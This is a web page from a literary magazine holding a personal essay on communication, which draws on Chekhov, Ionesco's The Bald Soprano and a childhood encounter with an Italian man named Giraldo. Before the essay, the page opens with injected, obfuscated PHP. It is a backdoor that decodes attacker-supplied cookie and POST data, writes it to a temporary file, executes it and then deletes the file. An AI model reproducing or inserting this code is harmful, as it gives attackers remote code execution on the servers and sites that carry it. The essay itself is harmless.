$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> Giraldo and the Art of Communication – www.interferencechannel.com

Giraldo and the Art of Communication

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“Here’s that crazy clock again. It’s been striking willy-nilly all throughout the play, but now it’s just doing whatever it wants. It seems like time has gone totally haywire by this point in the play. This is yet another clue that the idea of a linear progression of time just doesn’t apply to the world …”

Ionesco. The Bald Soprano. 143.

“MRS. SMITH: Krishnamurti, Krishnamurti, Krishnamurti! MR. SMITH: The pope elopes! The pope’s got no horoscope. The horoscope’s bespoke.

MRS. MARTIN: Bazaar, Balzac, bazooka!

  1. MARTIN: Bizarre, beaux-arts, brassieres!

MRS. SMITH: a,e,i,o,u,a,e,i,o,u, a,e,i,o,u, i!“

Ionesco. The Bald Soprano 141.

When I was ten years old, my parents took me on a trip to Tuscany, Italy. All I can remember of this trip is sitting on my dad’s lap driving the jeep we had rented, and an Italian man with the name of Giraldo. We met Giraldo right after we got stuck in the dirt. I had not been driving. There was no way we would get out of this dirt without any kind of Italian help. So we got out of our car and started walking back down the road. Not far from our car we encountered two horses – and Giraldo. He was in complete control of his animals shouting avanti, wearing his long, green and muddy boots and his big hat. For a very long time I tried to figure out how, without knowing each other’s languages, my parents could not only manage to tell him what was going on with our car, but also maintain a strong friendship with him. Not until I read the works of Russian writer Anton Chekov I could understand the essentials of communication that Giraldo and my parents embodied that day. Chekov’s stories are told in a very slow and descriptive style. The reader does not get to know the characters by their words, but rather by the description of their way of being, their movements, and their facial expressions.

I remember reading a story that dealed with a man falling in love with a woman and her little dog that he met on the street. When the woman started talking to the man, all of what the man could observe of that woman was the way she moved her lips and eyes and hands while talking. In Chekov’s view, facial expressions and gestures can reveal so much about a person and enables us to understand the other in a much more precise manner. However, it is only when one takes one‘s time that one is able to really understand the other. That is how communication between my parents and Giraldo worked. They met in the middle of nowhere, listened and observed each other without any rush.

Nowadays, the ability to communicate to the other gets lost because of a loss of time and the ability to observe. People of today exchange billions of words in mili-seconds by digital mediums where facial expressions and gestures do no longer play a role. As Ionesco displays it in his story “The bald soprano”, people drown in meaningless words due to their hunger for communication. Words are being transmitted by a greater amount and by a greater speed than never before. This leads to an emptying of meaning in between the lines. Words become mere cascades of vowels or simply noices. We are already in midst of this process as people place discursive markers (“and I was like….”) in their sentences and leave out articles and prepositions (Ich geh’ Kino instead of Ich geh ins Kino). There is no time and there is no observation in a world of cell-phone staring Internet people that refresh their page every 20 seconds. Arrivederci Giraldo.♦

*Phillipp Steul is a literature critic for Interference Channel, he lives in Germany.

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